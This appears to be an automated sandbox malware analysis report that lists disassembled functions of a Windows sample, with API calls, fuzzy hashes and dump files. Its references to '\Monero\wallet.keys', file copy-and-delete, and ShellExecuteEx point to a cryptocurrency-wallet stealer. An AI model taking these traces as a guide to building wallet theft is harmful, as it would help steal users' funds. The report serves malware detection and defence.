Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 17970ad474612e9265858fd9dd2d1ffdf1e07aaf96258f3349f72df0b4ca83f4
Instruction ID: be5018aac9d3436d8c57e1e858fa0e850b6e7ee67535328966f7688847c1b58b
Opcode Fuzzy Hash: 17970ad474612e9265858fd9dd2d1ffdf1e07aaf96258f3349f72df0b4ca83f4
Instruction Fuzzy Hash: 3C41EBB6D001086BDB25EBA0DC56FFE773DAB98300F40855CB61957181EB759B88CBE2

Function 001C7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001C7E37
RtlAllocateHeap.NTDLL(00000000), ref: 001C7E3E
RegOpenKeyExA.ADVAPI32(80000002,00EDB838,00000000,00020119,?), ref: 001C7E5E
RegQueryValueExA.ADVAPI32(?,00EED440,00000000,00000000,000000FF,000000FF), ref: 001C7E7F
RegCloseKey.ADVAPI32(?), ref: 001C7E92

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: dc6000a118b341fcedd57728e23554ea3e7032158f5d33c739d65c90fb316120
Instruction ID: 6b9b9b9f21ed8e5231e6dd63f9c2307355e19c85dea97e64345e4dd47aaac9d3
Opcode Fuzzy Hash: dc6000a118b341fcedd57728e23554ea3e7032158f5d33c739d65c90fb316120
Instruction Fuzzy Hash: E0114CB2A44605EBD705DB95DD49FBBBBBCEB08B10F104159F609A7280D7B49800CBA1

Function 001C9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00EEDAE0,?,?,?,001C140C,?,00EEDAE0,00000000), ref: 001C926C
lstrcpyn.KERNEL32(003FAB88,00EEDAE0,00EEDAE0,?,001C140C,?,00EEDAE0), ref: 001C9290
lstrlen.KERNEL32(?,?,001C140C,?,00EEDAE0), ref: 001C92A7
wsprintfA.USER32 ref: 001C92C7

Strings

%s%s, xrefs: 001C92B5

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 1f04583da265bf59bf597e7117e94afb8e35be51f3d632f0125d542e7505426c
Instruction ID: 909bc4839c92bd3bc558a3b6bb9609994266187e823e136ea555b79189119977
Opcode Fuzzy Hash: 1f04583da265bf59bf597e7117e94afb8e35be51f3d632f0125d542e7505426c
Instruction Fuzzy Hash: E301A5B5500608FFCB05DFE8CA98EAE7BB9EB48354F108148F9099B244C671AE41DB95

Function 001B12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001B12B4
RtlAllocateHeap.NTDLL(00000000), ref: 001B12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 001B12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 001B12F5
RegCloseKey.ADVAPI32(?), ref: 001B12FF

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 80d017cd152540fdfe6937a38d3ba0f571ace686d5fa4d2fc75191f97b1e033a
Instruction ID: d8e88f02652a1a72db5524da9469c4d1f8c6f05cdbb394e81c4af53b8476b2eb
Opcode Fuzzy Hash: 80d017cd152540fdfe6937a38d3ba0f571ace686d5fa4d2fc75191f97b1e033a
Instruction Fuzzy Hash: 97011DB9A40208BBDB00DFE0DC49FAEBBBCEB48701F108159FA0997280D670AA05CB51

Function 001CC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 001CC8EC
___crtLCMapStringA.LIBCMT ref: 001CC90C
___crtLCMapStringA.LIBCMT ref: 001CC931

Strings

, xrefs: 001CC896

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: abc16ae03fd07f894c924887ff0a95140e863d8c5d28d387747800ff4811c6c7
Instruction ID: 264f33454c0768800709d20f19436da59a695e531a579fdfd2bd1c8121c12012
Opcode Fuzzy Hash: abc16ae03fd07f894c924887ff0a95140e863d8c5d28d387747800ff4811c6c7
Instruction Fuzzy Hash: 2041E5B110079C5EDB258B24CC95FFB7BE89B65708F1444ACE98A86182E371DE45CFA0

Function 001C6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 001C6663

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Part of subcall function 001CA9B0: lstrlen.KERNEL32(?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001CA9C5
Part of subcall function 001CA9B0: lstrcpy.KERNEL32(00000000), ref: 001CAA04
Part of subcall function 001CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001CAA12

Part of subcall function 001CA8A0: lstrcpy.KERNEL32(?,001D0E17), ref: 001CA905

ShellExecuteEx.SHELL32(0000003C), ref: 001C6726
ExitProcess.KERNEL32 ref: 001C6755

Strings

<, xrefs: 001C66D9

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: da6c3edc496b679b87022b7abdf463e3774bc826c86e85cd5ccf6070305a64f9
Instruction ID: e37ddbd0a9f17799b33ecda50dd35c04de92a53705d26883e656c8408f2ebe0e
Opcode Fuzzy Hash: da6c3edc496b679b87022b7abdf463e3774bc826c86e85cd5ccf6070305a64f9
Instruction Fuzzy Hash: 83312DB1801218ABDB15EB90DC96FED777CAF64304F804189F20966191DF74AB48CF5A

Function 001C87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,001D0E28,00000000,?), ref: 001C882F
RtlAllocateHeap.NTDLL(00000000), ref: 001C8836
wsprintfA.USER32 ref: 001C8850

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Strings

%dx%d, xrefs: 001C8847

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: f2b8dec6bcf11f2a118d4a6f30438e199d183d09fa71d76d32611a427cffbed5
Instruction ID: d65374cda95572452fb18306d07044a3a30412bf0eaec908aacc169aa68515ca
Opcode Fuzzy Hash: f2b8dec6bcf11f2a118d4a6f30438e199d183d09fa71d76d32611a427cffbed5
Instruction Fuzzy Hash: 8F210DB1A44608AFDB05DFD4DD49FBEBBB8FB48711F104119F609A7280C779A901CBA2

Function 001C8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,001C951E,00000000), ref: 001C8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 001C8D62
wsprintfW.USER32 ref: 001C8D78

Strings

%hs, xrefs: 001C8D6F

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: ec2b625d204afab9528fc177a64fbc55eaf32fbfbf3010207008f5cc52071595
Instruction ID: 77630d53c933c7bfe9da48d2ed61074297862ce76e4a4a098397756ba52aeb61
Opcode Fuzzy Hash: ec2b625d204afab9528fc177a64fbc55eaf32fbfbf3010207008f5cc52071595
Instruction Fuzzy Hash: 56E0ECB5A40208BFD711DBD4DD0AE697BBCEB48742F004195FD0D97280DAB19E14DB96

Function 001BA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Part of subcall function 001CA9B0: lstrlen.KERNEL32(?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001CA9C5
Part of subcall function 001CA9B0: lstrcpy.KERNEL32(00000000), ref: 001CAA04
Part of subcall function 001CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001CAA12

Part of subcall function 001CA8A0: lstrcpy.KERNEL32(?,001D0E17), ref: 001CA905

Part of subcall function 001C8B60: GetSystemTime.KERNEL32(001D0E1A,00EE99A0,001D05AE,?,?,001B13F9,?,0000001A,001D0E1A,00000000,?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001C8B86

Part of subcall function 001CA920: lstrcpy.KERNEL32(00000000,?), ref: 001CA972
Part of subcall function 001CA920: lstrcat.KERNEL32(00000000), ref: 001CA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 001BA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 001BA3FF
lstrlen.KERNEL32(00000000), ref: 001BA6BC

Part of subcall function 001CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001CA7E6

DeleteFileA.KERNEL32(00000000), ref: 001BA743

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: b15252208693c4531724c09d659d15dc70efa25408e616d5ac8073f7037fb895
Instruction ID: 6285b35b45a51c4276d1b5567eaa6c2c239afde46f11a7b925cf707a558e909c
Opcode Fuzzy Hash: b15252208693c4531724c09d659d15dc70efa25408e616d5ac8073f7037fb895
Instruction Fuzzy Hash: F7E1BC7281010C9BDB16EBA4DC96FEE7338AF34305F90815DF516B6091EF30AA49CB66

Function 001BD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Part of subcall function 001CA9B0: lstrlen.KERNEL32(?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001CA9C5
Part of subcall function 001CA9B0: lstrcpy.KERNEL32(00000000), ref: 001CAA04
Part of subcall function 001CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001CAA12

Part of subcall function 001CA8A0: lstrcpy.KERNEL32(?,001D0E17), ref: 001CA905

Part of subcall function 001C8B60: GetSystemTime.KERNEL32(001D0E1A,00EE99A0,001D05AE,?,?,001B13F9,?,0000001A,001D0E1A,00000000,?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001C8B86

Part of subcall function 001CA920: lstrcpy.KERNEL32(00000000,?), ref: 001CA972
Part of subcall function 001CA920: lstrcat.KERNEL32(00000000), ref: 001CA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 001BD481
lstrlen.KERNEL32(00000000), ref: 001BD698
lstrlen.KERNEL32(00000000), ref: 001BD6AC
DeleteFileA.KERNEL32(00000000), ref: 001BD72B

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: c1d897208f1a263404c9ba0f86da54bf627dbf898c300fcb05e396d3b800c16e
Instruction ID: e6f2cf629c12c38de39b1fb08821767d6e0221ef0503c20b97dd13b64f670016
Opcode Fuzzy Hash: c1d897208f1a263404c9ba0f86da54bf627dbf898c300fcb05e396d3b800c16e
Instruction Fuzzy Hash: FD91E17191010C9BDB16FBA4DD96FEE7338AF34309F90415DF506A6191EF34AA09CB62

Function 001BD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Part of subcall function 001CA9B0: lstrlen.KERNEL32(?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001CA9C5
Part of subcall function 001CA9B0: lstrcpy.KERNEL32(00000000), ref: 001CAA04
Part of subcall function 001CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001CAA12

Part of subcall function 001CA8A0: lstrcpy.KERNEL32(?,001D0E17), ref: 001CA905

Part of subcall function 001C8B60: GetSystemTime.KERNEL32(001D0E1A,00EE99A0,001D05AE,?,?,001B13F9,?,0000001A,001D0E1A,00000000,?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001C8B86

Part of subcall function 001CA920: lstrcpy.KERNEL32(00000000,?), ref: 001CA972
Part of subcall function 001CA920: lstrcat.KERNEL32(00000000), ref: 001CA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 001BD801
lstrlen.KERNEL32(00000000), ref: 001BD99F
lstrlen.KERNEL32(00000000), ref: 001BD9B3
DeleteFileA.KERNEL32(00000000), ref: 001BDA32

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 42f90bcb50bc7814862a84014ab955d1c7e32ac91efc495eb6d37a504ee52c33
Instruction ID: 45b9a19c436aaf2597bad99ff9c0e7e7109e9d93f9dbf94f82825a6a6c35d7c4
Opcode Fuzzy Hash: 42f90bcb50bc7814862a84014ab955d1c7e32ac91efc495eb6d37a504ee52c33
Instruction Fuzzy Hash: 9381B17191010C9BDB06FBA4DD96FEE7338AF74309F90451DF506A6191EF34AA09CBA2

Function 001C3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
